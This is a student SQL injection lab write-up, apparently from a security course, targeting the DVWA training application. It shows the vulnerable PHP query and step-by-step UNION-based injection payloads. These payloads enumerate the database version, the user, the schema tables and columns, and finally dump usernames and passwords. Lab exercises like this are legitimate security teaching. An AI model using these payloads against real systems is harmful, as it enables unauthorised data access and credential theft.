8
LABORATORIO DE SQL INJECTION LUIS ADRIÁN CHÓEZ ACOSTA 1) SQL Injection Menu a. Instructions: i. Select "SQL Injection" from the left navigation menu. 2) Basic Injection a. Instructions: i. Input "1" into the text box. ii. Click Submit. iii. Note, webpage/code is supposed to print ID, First name, and Surname to the screen. b. Notes(FYI): . Below is the PHP select statement that we will be exploiting, specifically $id. § $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

SQL Injection

Embed Size (px)

DESCRIPTION

seguridad informatica

Citation preview

Page 1: SQL Injection

LABORATORIO DE SQL INJECTIONLUIS ADRIÁN CHÓEZ ACOSTA

1) SQL Injection Menua. Instructions:i. Select "SQL Injection" from the left navigation menu.2) Basic Injectiona. Instructions:i. Input "1" into the text box.ii. Click Submit.iii. Note, webpage/code is supposed to print ID, First name, and Surname to the screen.b. Notes(FYI):. Below is the PHP select statement that we will be exploiting, specifically $id. § $getid = "SELECT first_name, last_name FROM users

WHERE user_id = '$id'";

Page 2: SQL Injection

LABORATORIO DE SQL INJECTIONLUIS ADRIÁN CHÓEZ ACOSTA

3) Always True Scenarioa. Instructions:i. Input the below text into the User ID Textbox (See Picture).%' or '0'='0ii. Click Submitb. Notes(FYI):i. In this scenario, we are saying display all record that are false and all records that are true.%' - Will probably not be equal to anything, and will be false.'0'='0' - Is equal to true, because 0 will always equal 0.ii. Database Statementmysql> SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0';

4) Display Database Version

Page 3: SQL Injection

LABORATORIO DE SQL INJECTIONLUIS ADRIÁN CHÓEZ ACOSTA

a. Instructions:i. Input the below text into the User ID Textbox (See Picture).%' or 0=0 union select null, version() #.ii. Click Submit.b. Notes(FYI):i. Notice in the last displayed line, 5.1.60 is displayed in the surname.

ii. This is the version of the mysql database.

5) Display Database Usera. Instructions:i. Input the below text into the User ID Textbox (See Picture).%' or 0=0 union select null, user() #.ii. Notes(FYI):Notice in the last displayed line, root@localhost is displayed in the surname.This is the name of the database user that executed the behind the scenes PHP code.

Page 4: SQL Injection

LABORATORIO DE SQL INJECTIONLUIS ADRIÁN CHÓEZ ACOSTA

6) Display Database Namea. Instructions:i. Input the below text into the User ID Textbox (See Picture).%' or 0=0 union select null, database() #.ii. Notes(FYI):Notice in the last displayed line, dvwa is displayed in the surname.

This is the name of the database.

7) Display all tables in information_schemaa. Instructions:i. Input the below text into the User ID Textbox (See Picture).%' and 1=0 union select null, table_name from information_schema.tables #.ii. Click Submit.b. Notes(FYI):i. Now we are displaying all the tables in the information_schema database.ii. The INFORMATION_SCHEMA is the information database, the placethat stores information about all the other databases that the MySQL

server maintains.

Page 5: SQL Injection

LABORATORIO DE SQL INJECTIONLUIS ADRIÁN CHÓEZ ACOSTA

8) Display all the user tables in information_schemaa. Instructions:i. Input the below text into the User ID Textbox (See Picture).%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#.ii. Click Submit.b. Notes(FYI):i. Now we are displaying all the tables that start with the prefix "user" in the information_schema database.

9) Display all the columns fields in the information_schema user tablea. Instructions:i. Input the below text into the User ID Textbox (See Picture).%' and 1=0 union select null,concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #.ii. Click Submit.b. Notes(FYI):i. Now we are displaying all the columns in the users table.ii. Notice there are a user_id, first_name, last_name, user and Passwordcolumn.

Page 6: SQL Injection

LABORATORIO DE SQL INJECTIONLUIS ADRIÁN CHÓEZ ACOSTA

10) Display all the columns field contents in the information_schema user tablea. Instructions:i. Input the below text into the User ID Textbox (See Picture).%' and 1=0 union select null,concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #ii. Click Submitb. Notes(FYI):i. Now we have successfully displayed all the necessary authentication information into this database.